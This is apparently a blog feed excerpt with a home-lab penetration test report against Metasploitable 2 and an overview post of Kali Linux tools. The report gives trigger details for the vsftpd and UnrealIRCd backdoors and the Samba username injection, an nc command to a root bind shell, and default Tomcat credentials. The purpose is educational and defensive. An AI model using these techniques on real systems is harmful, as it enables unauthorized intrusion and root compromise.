| **Test environment** | Isolated VirtualBox Host-Only network |
| **Tester** | yumas (192.168.56.100) |
| **Date** | 2024-11-08 |
| **Scope** | All services on 192.168.56.101 |
| **Methodology** | PTES (Penetration Testing Execution Standard) |

---

### Executive summary

Eight vulnerabilities were identified and exploited on the target system. Six result directly in root-level code execution without requiring prior authentication or privilege escalation. Two provide significant capability at non-root privilege levels. The target system as configured provides no meaningful resistance to a network-adjacent attacker.

The primary findings are supply-chain compromised software (vsftpd 2.3.4, UnrealIRCd 3.2.8.1), command injection in a network service (Samba), a deliberately exposed root shell, missing authentication on VNC and the Tomcat management interface, and absent database root credentials.

**Risk summary:**

| Severity | Count |
|----------|-------|
| Critical | 5 |
| High | 3 |
| Medium | 0 |
| Low | 0 |
| Informational | 0 |

---

### Findings

---

#### F-01: vsftpd 2.3.4 backdoor

**Severity:** Critical  
**CVSS 3.1 score:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
**CVE:** CVE-2011-2523  
**Affected:** 192.168.56.101 — TCP 21 (vsftpd 2.3.4)

**Description:**  
The vsftpd 2.3.4 package installed on the target contains a backdoor introduced into the source tarball in July 2011. When a username containing the string `:)` is sent during the FTP authentication handshake, the daemon opens a bind shell on TCP port 6200. This shell runs with the effective UID of the vsftpd process, which on this system is root (UID 0). No password or further authentication is required.

**Evidence:**  
```
[+] 192.168.56.101:21 - UID: uid=0(root) gid=0(root)
[*] Command shell session opened (192.168.56.100:56231 → 192.168.56.101:6200)
```

**Remediation:**  
Upgrade vsftpd to version 2.3.5 or later, obtained from a verified distribution channel. Verify package checksums against the project's published signatures. Audit the vsftpd binary against a known-good reference. Review system logs for evidence of prior exploitation.

---

#### F-02: Samba usermap_script command injection

**Severity:** Critical  
**CVSS 3.1 score:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
**CVE:** CVE-2007-2447  
**Affected:** 192.168.56.101 — TCP 139, 445 (Samba 3.0.20)

**Description:**  
Samba versions 3.0.20 through 3.0.25rc3 pass the username field from MS-RPC authentication requests to `/bin/sh` via the `username map script` smb.conf option without sanitising shell metacharacters. An unauthenticated attacker can inject arbitrary shell commands by including metacharacters (backticks, semicolons, pipe characters) in the username. The Samba daemon on this system runs as root.

**Evidence:**  
```
[*] Command shell session opened (192.168.56.100:4444 → 192.168.56.101:38214)
id → uid=0(root) gid=0(root)
```

**Remediation:**  
Upgrade Samba to 3.0.25 or later. The specific `username map script` smb.conf option should be disabled if not required. On modern systems, replace this Samba version entirely — Samba 3.0.x reached end of life in 2012.

---

#### F-03: distcc arbitrary command execution

**Severity:** High  
**CVSS 2.0 score:** 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)  
**CVE:** CVE-2004-2687  
**Affected:** 192.168.56.101 — TCP 3632 (distccd)

**Description:**  
The distccd daemon accepts compilation requests from the network without authentication. By sending a malformed compilation job, an attacker can cause the daemon to execute arbitrary commands. The daemon runs as `daemon` (UID 1), not root, which limits immediate impact. Combined with a local privilege escalation (several are viable given the kernel version 2.6.24), this provides a full system compromise path.

**Evidence:**  
```
[*] Command shell session opened (192.168.56.100:4444 → 192.168.56.101:52180)
id → uid=1(daemon) gid=1(daemon) groups=1(daemon)
```

**Remediation:**  
Restrict distccd access with firewall rules — bind to localhost (`--listen 127.0.0.1`) or disable it entirely if not required. Use `--allow` to whitelist specific source addresses. For production use, consider DNSSEC-authenticated Kerberos wrapping if distributed compilation is needed.

---

#### F-04: UnrealIRCd 3.2.8.1 backdoor

**Severity:** Critical  
**CVSS 3.1 score:** 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)  
**CVE:** CVE-2010-2075  
**Affected:** 192.168.56.101 — TCP 6667 (UnrealIRCd 3.2.8.1)

**Description:**  
The UnrealIRCd 3.2.8.1 package contains a backdoor introduced into the source tarball on the project's server. Strings sent to the service beginning with `AB` are passed to a system() call and executed. The backdoor was present on the download server from approximately November 2009 through June 2010 — seven months before detection. The daemon runs as root on this system.

**Evidence:**  
```
[*] Sending backdoor command...
[*] Command shell session opened (192.168.56.100:4444 → 192.168.56.101:44122)
id → uid=0(root) gid=0(root)
```

**Remediation:**  
Replace UnrealIRCd 3.2.8.1 with a current release obtained from the official repository. Verify the package signature. UnrealIRCd now publishes SHA256 checksums and PGP-signed releases for all distributions. If IRC services are not required on this system, disable and remove the service entirely.

---

#### F-05: Unauthenticated root bind shell on TCP 1524

**Severity:** Critical  
**CVSS 3.1 score:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
**CVE:** N/A (intentional configuration)  
**Affected:** 192.168.56.101 — TCP 1524

**Description:**  
A root shell is listening on TCP port 1524 with no authentication required. Any network-adjacent host can connect to this port with `nc` or `telnet` and receive an interactive root shell. This is not a software vulnerability but a deliberately configured backdoor.

**Evidence:**  
```
$ nc 192.168.56.101 1524
root@metasploitable:/# id
uid=0(root) gid=0(root) groups=0(root)
```

**Remediation:**  
Identify and remove the service binding to this port. Audit `/etc/inetd.conf`, `/etc/xinetd.d/`, startup scripts, and cron jobs for the bind shell configuration. Conduct a thorough review of all listening services on the system and remove or disable any that are not operationally required. Implement a host-based firewall (`iptables`/`nftables`) as a defence-in-depth measure.

---

#### F-06: VNC without authentication

**Severity:** Critical  
**CVSS 3.1 score:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
**CVE:** N/A (configuration issue)  
**Affected:** 192.168.56.101 — TCP 5900 (VNC protocol 3.3)

**Description:**  
The VNC service accepts connections without requiring a password. An unauthenticated attacker on the same network can obtain a full graphical desktop session as root. The VNC version in use (protocol 3.3) does not support encrypted connections; all session data including keystrokes is transmitted in plaintext.

**Remediation:**  
Configure a strong VNC password (`vncpasswd`). Migrate to a VNC implementation supporting NLA or SSH tunnelling for encrypted sessions. Restrict access to the VNC port with firewall rules. As a preferred alternative, replace VNC entirely with SSH (`ssh -X` or `ssh -Y` for X11 forwarding, or XRDP with TLS for full desktop access).

---

#### F-07: MySQL root account without password

**Severity:** High  
**CVSS 3.1 score:** 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)  
**CVE:** N/A (configuration issue)  
**Affected:** 192.168.56.101 — TCP 3306 (MySQL 5.0.51a)

**Description:**  
The MySQL root account has no password configured. The service is bound to `0.0.0.0`, accepting connections from any network interface. An unauthenticated attacker can connect as root and read, modify, or delete all databases, including schema-level credentials stored in the `mysql.user` table.

**Evidence:**  
```sql
mysql -h 192.168.56.101 -u root
mysql&gt; show databases;
-- 7 databases visible including dvwa, metasploit, mysql
mysql&gt; select user, password from mysql.user;
-- root rows have empty password field
```

**Remediation:**  
Set a strong password for the MySQL root account (`ALTER USER 'root'@'%' IDENTIFIED BY '...'`). Bind MySQL to localhost (`bind-address = 127.0.0.1` in `my.cnf`) if remote access is not required. Remove anonymous user accounts. Implement least-privilege database user accounts for each application.

---

#### F-08: Apache Tomcat Manager with default credentials

**Severity:** High  
**CVSS 3.1 score:** 8.8 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)  
**CVE:** N/A (configuration issue)  
**Affected:** 192.168.56.101 — TCP 8180 (Apache Tomcat, Coyote 1.1)

**Description:**  
The Apache Tomcat Manager web application at `/manager/html` is accessible with the default credentials `tomcat:tomcat`. The Tomcat Manager allows deployment of arbitrary WAR (Web Application Archive) files. An attacker with access to the Manager can deploy a malicious WAR containing a reverse shell, obtaining remote code execution as the Tomcat service user.

**Remediation:**  
Change the Tomcat Manager credentials from the default values (`tomcat-users.xml`). If the Manager application is not required in production, remove or disable it. Restrict access to the Manager by IP address using Tomcat's `RemoteAddrValve`. Update Tomcat to a supported version — Coyote 1.1 / Tomcat 5.5 reached end of life in 2012.

---

### Overall assessment

The target system is entirely compromised from a network-adjacent position without credentials. Five distinct paths to root exist independently of each other: the vsftpd backdoor, the Samba command injection, the UnrealIRCd backdoor, the VNC session, and the unauthenticated bind shell. These vulnerabilities are well-documented, over a decade old, and trivially exploitable with public tooling.

For a production system, the findings above would represent a complete failure of patch management, configuration hardening, and network segmentation. The system should not be connected to any network segment containing sensitive data or other systems until all findings are remediated and the remediation is verified.

**For a home lab:** this is the expected and correct state. Metasploitable 2 is deliberately configured this way for exactly the kind of exercise documented here.

</div>

<hr />

<h2 id="notes-on-doing-this-responsibly">Notes on doing this responsibly</h2>

<p>Everything in this post was done against a system specifically built to be attacked, on a network that cannot reach anything outside the two virtual machines. The combination of Kali and Metasploitable in an isolated environment is the standard approach for learning penetration testing without legal or ethical risk.</p>

<p>The distinction matters: running these tools against any system you don’t own and haven’t received explicit written permission to test is a criminal offence in most jurisdictions (in the Netherlands, Artikel 138ab of the Wetboek van Strafrecht covers unauthorised computer access). Having the technical knowledge is not the same as having permission. The tools, techniques, and CVEs documented here are all publicly available and used in authorised security assessments — the authorisation is the thing that makes it legal.</p>

<p>For further practice on deliberately vulnerable environments: <a href="https://hackthebox.com">Hack The Box</a>, <a href="https://tryhackme.com">TryHackMe</a>, and <a href="https://vulnhub.com">VulnHub</a> provide legal targets at various difficulty levels. OffSec’s PWK/OSCP course is the standard professional certification path if this becomes a serious interest.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="cybersec" /><category term="penetration-testing" /><category term="Metasploitable" /><category term="Metasploit" /><category term="nmap" /><category term="CVE" /><category term="home-lab" /><category term="VirtualBox" /><category term="CVSS" /><category term="red-team" /><category term="Kali-Linux" /><summary type="html"><![CDATA[A complete penetration test of a deliberately vulnerable home lab environment — network discovery, service enumeration, exploiting eight vulnerabilities from critical CVEs to misconfigured services, and a formatted findings report. Uses Kali Linux against Metasploitable 2 on an isolated virtual network.]]></summary></entry><entry><title type="html">Kali Linux: a practical overview</title><link href="https://yumas.hankouri.com/posts/2024/11/08/kali-linux-a-practical-overview/" rel="alternate" type="text/html" title="Kali Linux: a practical overview" /><published>2024-11-08T00:00:00+00:00</published><updated>2024-11-08T00:00:00+00:00</updated><id>https://yumas.hankouri.com/posts/2024/11/08/kali-linux-a-practical-overview</id><content type="html" xml:base="https://yumas.hankouri.com/posts/2024/11/08/kali-linux-a-practical-overview/"><![CDATA[<div class="layman-summary"><p>
Kali Linux is a Debian-based distribution built for penetration testing and security research. It comes with several hundred pre-installed tools covering reconnaissance, exploitation, password cracking, wireless security, forensics, and web application testing. This post covers what it is, how it's structured, and what its main tools actually do. A companion post works through a complete home lab pentest using these tools.
</p></div>

<h2 id="kali-linux">Kali Linux</h2>

<h3 id="background">Background</h3>

<p>Kali Linux is developed and maintained by Offensive Security (now OffSec). It is a Debian-based Linux distribution on a rolling release cycle, pre-loaded with over six hundred security-relevant tools covering reconnaissance, vulnerability scanning, exploitation, post-exploitation, password attacks, wireless security, forensics, and web application testing.</p>

<p>The history: Kali replaced BackTrack in March 2013. BackTrack was itself a merger of WHAX (formerly Whoppix) and Auditor Security Collection, both of which predated it. BackTrack 5 R3 was the last BackTrack release (August 2012). Kali was a ground-up rewrite on Debian rather than Ubuntu, with a proper package management structure, signed packages, and a maintained update cycle. BackTrack was essentially a collection of tools thrown at an OS; Kali was an attempt to do it properly.</p>

<p>Kali’s current default desktop is XFCE (since 2019.4, replacing GNOME). This was a pragmatic choice — XFCE is lighter, which matters when running in a VM. Alternative desktop environments (KDE, GNOME, i3, Sway, MATE) are available and installable.</p>

<h3 id="what-makes-it-different-from-standard-debian">What makes it different from standard Debian</h3>

<p>Three things distinguish Kali from a standard Debian installation:</p>

<p><strong>1. Single-user root model (historically) / passwordless sudo (now)</strong>
Kali originally ran as root by default — controversial and changed in Kali 2020.1, which introduced a standard non-root user with passwordless sudo. The reasoning for the original design was pragmatic: many security tools require root or produce confusing failures without it. The current model is more reasonable.</p>

<p><strong>2. Tool packaging and maintenance</strong>
Kali maintains packages for hundreds of tools that are not in the Debian repositories. These are maintained by the Kali team, which means they stay reasonably current. Tools installed from Kali’s repositories work correctly together; building the same environment on standard Debian from source is possible but time-consuming.</p>

<p><strong>3. Kernel patches and configurations</strong>
Kali ships a modified kernel that enables features relevant to security testing — wireless injection support, for example — that are either absent or disabled in standard Debian kernels.</p>

<h3 id="installation-and-deployment-options">Installation and deployment options</h3>

<p>Kali runs in more places than most people expect:</p>

<p><strong>Bare metal</strong> — standard installer ISO. The tool set works best when the hardware matches (particularly for wireless testing with injection-capable adapters).</p>

<p><strong>Virtual machine</strong> — pre-built VM images are available for VirtualBox and VMware. This is the most common hobbyist setup. Limitations: USB WiFi adapter passthrough for wireless testing, no hardware-level timing for certain operations.</p>

<p><strong>Live USB</strong> — boot without installing. Useful for on-site engagements where leaving traces on a machine is not acceptable. Persistent storage partition is optional.</p>

<p><strong>WSL2 on Windows</strong> — Kali Win-KeX provides a full desktop environment inside WSL2. Most tools work. Wireless injection doesn’t — the Windows kernel handles the wireless stack, not WSL2. Useful for learning and CTFs, not for all real-world tasks.</p>

<p><strong>Kali NetHunter</strong> — Android port, runs on top of Android (requires root or specific supported devices). Covers mobile testing, HID attacks, Bluetooth, and limited wireless injection depending on the hardware.</p>

<p><strong>Raspberry Pi and ARM</strong> — Kali has ARM images for Raspberry Pi (2/3/4/5), Pinebook Pro, and others. A Pi 4 with an Alfa wireless adapter is a reasonable portable testing platform.</p>

<p><strong>Kali Purple</strong> — a variant introduced in 2023.1, oriented towards defensive security (SIEMs, detection, SOC tooling). Different audience from the standard penetration testing distribution.</p>

<h3 id="tool-organisation">Tool organisation</h3>

<p>Kali organises its tools into categories. The major ones:</p>

<p><strong>Information gathering</strong>
Network mapping, DNS enumeration, OSINT, fingerprinting. Key tools: <code class="language-plaintext highlighter-rouge">nmap</code> (port scanning, service detection, NSE scripting), <code class="language-plaintext highlighter-rouge">recon-ng</code> (modular OSINT framework), <code class="language-plaintext highlighter-rouge">theHarvester</code> (email/domain/IP harvesting from public sources), <code class="language-plaintext highlighter-rouge">amass</code> (attack surface mapping, DNS enumeration), <code class="language-plaintext highlighter-rouge">maltego</code> (graphical link analysis).</p>

<p><strong>Vulnerability scanning</strong>
Automated vulnerability identification. Key tools: <code class="language-plaintext highlighter-rouge">openvas</code>/<code class="language-plaintext highlighter-rouge">gvm</code> (GreenBone Vulnerability Manager — the major open-source scanner), <code class="language-plaintext highlighter-rouge">nikto</code> (web server scanner), <code class="language-plaintext highlighter-rouge">wpscan</code> (WordPress-specific), <code class="language-plaintext highlighter-rouge">lynis</code> (local system auditing). Note that vulnerability scanners produce findings that require manual validation; treating scanner output as ground truth is a mistake.</p>

<p><strong>Web application testing</strong>
The largest category by count of tools. Key tools: <code class="language-plaintext highlighter-rouge">burpsuite</code> (the standard intercepting proxy; community edition is free, professional is commercial), <code class="language-plaintext highlighter-rouge">zaproxy</code> (OWASP ZAP, open-source Burp alternative), <code class="language-plaintext highlighter-rouge">sqlmap</code> (automated SQL injection), <code class="language-plaintext highlighter-rouge">gobuster</code>/<code class="language-plaintext highlighter-rouge">ffuf</code> (directory and endpoint brute-forcing), <code class="language-plaintext highlighter-rouge">wfuzz</code> (fuzzing), <code class="language-plaintext highlighter-rouge">whatweb</code> (web fingerprinting).</p>

<p><strong>Exploitation</strong>
Actual exploitation tools. The centre of this category is the Metasploit Framework (<code class="language-plaintext highlighter-rouge">msfconsole</code>) — the most widely used exploitation platform, maintained by Rapid7, with modules for hundreds of CVEs. Also: <code class="language-plaintext highlighter-rouge">searchsploit</code> (local Exploit-DB search), <code class="language-plaintext highlighter-rouge">beef-xss</code> (Browser Exploitation Framework), <code class="language-plaintext highlighter-rouge">social-engineer-toolkit</code> (SET — phishing, credential harvesting).</p>

<p><strong>Password attacks</strong>
Offline hash cracking and online brute-force. Key tools: <code class="language-plaintext highlighter-rouge">hashcat</code> (GPU-accelerated hash cracking; essential for real engagements), <code class="language-plaintext highlighter-rouge">john</code> (John the Ripper; CPU-based, good rule engine), <code class="language-plaintext highlighter-rouge">hydra</code> (online brute-force against network services), <code class="language-plaintext highlighter-rouge">medusa</code> (similar to Hydra), <code class="language-plaintext highlighter-rouge">crunch</code> (wordlist generation). The <code class="language-plaintext highlighter-rouge">/usr/share/wordlists/rockyou.txt.gz</code> wordlist is included — the 14-million-entry password list from the 2009 RockYou breach.</p>

<p><strong>Wireless attacks</strong>
<code class="language-plaintext highlighter-rouge">aircrack-ng</code> suite (WEP/WPA2 cracking, packet injection), <code class="language-plaintext highlighter-rouge">kismet</code> (wireless IDS/monitor), <code class="language-plaintext highlighter-rouge">reaver</code>/<code class="language-plaintext highlighter-rouge">bully</code> (WPS brute-force), <code class="language-plaintext highlighter-rouge">wifite</code> (automated wireless attack tool), <code class="language-plaintext highlighter-rouge">wireshark</code>/<code class="language-plaintext highlighter-rouge">tshark</code> (packet capture and analysis).</p>

<p><strong>Reverse engineering</strong>
<code class="language-plaintext highlighter-rouge">ghidra</code> (NSA’s disassembler/decompiler — free), <code class="language-plaintext highlighter-rouge">radare2</code> (command-line RE framework), <code class="language-plaintext highlighter-rouge">gdb</code> with <code class="language-plaintext highlighter-rouge">pwndbg</code>/<code class="language-plaintext highlighter-rouge">peda</code> extensions (debugging), <code class="language-plaintext highlighter-rouge">binwalk</code> (firmware analysis and extraction), <code class="language-plaintext highlighter-rouge">strings</code>/<code class="language-plaintext highlighter-rouge">file</code>/<code class="language-plaintext highlighter-rouge">ltrace</code>/<code class="language-plaintext highlighter-rouge">strace</code> (basic RE utilities).</p>

<p><strong>Exploitation development / binary exploitation</strong>
<code class="language-plaintext highlighter-rouge">pwntools</code> (Python library for writing exploits), <code class="language-plaintext highlighter-rouge">ROPgadget</code>/<code class="language-plaintext highlighter-rouge">ropper</code> (ROP chain building), <code class="language-plaintext highlighter-rouge">checksec</code> (ELF security feature inspection). This overlaps with reverse engineering in practice.</p>

<p><strong>Forensics and incident response</strong>
<code class="language-plaintext highlighter-rouge">autopsy</code>/<code class="language-plaintext highlighter-rouge">sleuth kit</code> (disk forensics), <code class="language-plaintext highlighter-rouge">volatility</code>/<code class="language-plaintext highlighter-rouge">volatility3</code> (memory forensics), <code class="language-plaintext highlighter-rouge">foremost</code>/<code class="language-plaintext highlighter-rouge">scalpel</code> (file carving), <code class="language-plaintext highlighter-rouge">dc3dd</code>/<code class="language-plaintext highlighter-rouge">dcfldd</code> (forensic imaging). Kali includes these primarily for evidence collection during engagements, not full forensic investigation.</p>

<p><strong>Sniffing and spoofing</strong>
<code class="language-plaintext highlighter-rouge">wireshark</code> (packet capture), <code class="language-plaintext highlighter-rouge">tcpdump</code> (CLI packet capture), <code class="language-plaintext highlighter-rouge">ettercap</code> (man-in-the-middle), <code class="language-plaintext highlighter-rouge">bettercap</code> (modern MitM framework), <code class="language-plaintext highlighter-rouge">responder</code> (LLMNR/NBT-NS/MDNS poisoning — extremely effective on Windows networks).</p>

<p><strong>Post-exploitation</strong>
<code class="language-plaintext highlighter-rouge">metasploit</code> (Meterpreter, pivoting, persistence modules), <code class="language-plaintext highlighter-rouge">impacket</code> (Python implementations of Windows protocols — invaluable for AD testing), <code class="language-plaintext highlighter-rouge">bloodhound</code>/<code class="language-plaintext highlighter-rouge">neo4j</code> (Active Directory attack path mapping), <code class="language-plaintext highlighter-rouge">crackmapexec</code>/<code class="language-plaintext highlighter-rouge">netexec</code> (network-wide credential testing and lateral movement), <code class="language-plaintext highlighter-rouge">mimikatz</code> (Windows credential dumping — runs from Meterpreter or directly).</p>

<p>A pentest using these tools against a deliberately vulnerable home lab setup is documented in <a href="/posts/metasploitable-home-lab-pentest/">the companion post</a>.</p>]]></content><author><name>Yumas Hankouri</name></author><category term="cybersec" /><category term="Kali-Linux" /><category term="penetration-testing" /><category term="security-tools" /><category term="Metasploit" /><category term="nmap" /><category term="wireless" /><category term="forensics" /><category term="Linux" /><summary type="html"><![CDATA[What Kali Linux is, how it differs from a general-purpose distribution, how to install it, and a full tour of its tool categories — from reconnaissance and exploitation through to post-exploitation and wireless. A companion post covers a home lab pentest using these tools against a deliberately vulnerable target.]]></summary></entry></feed>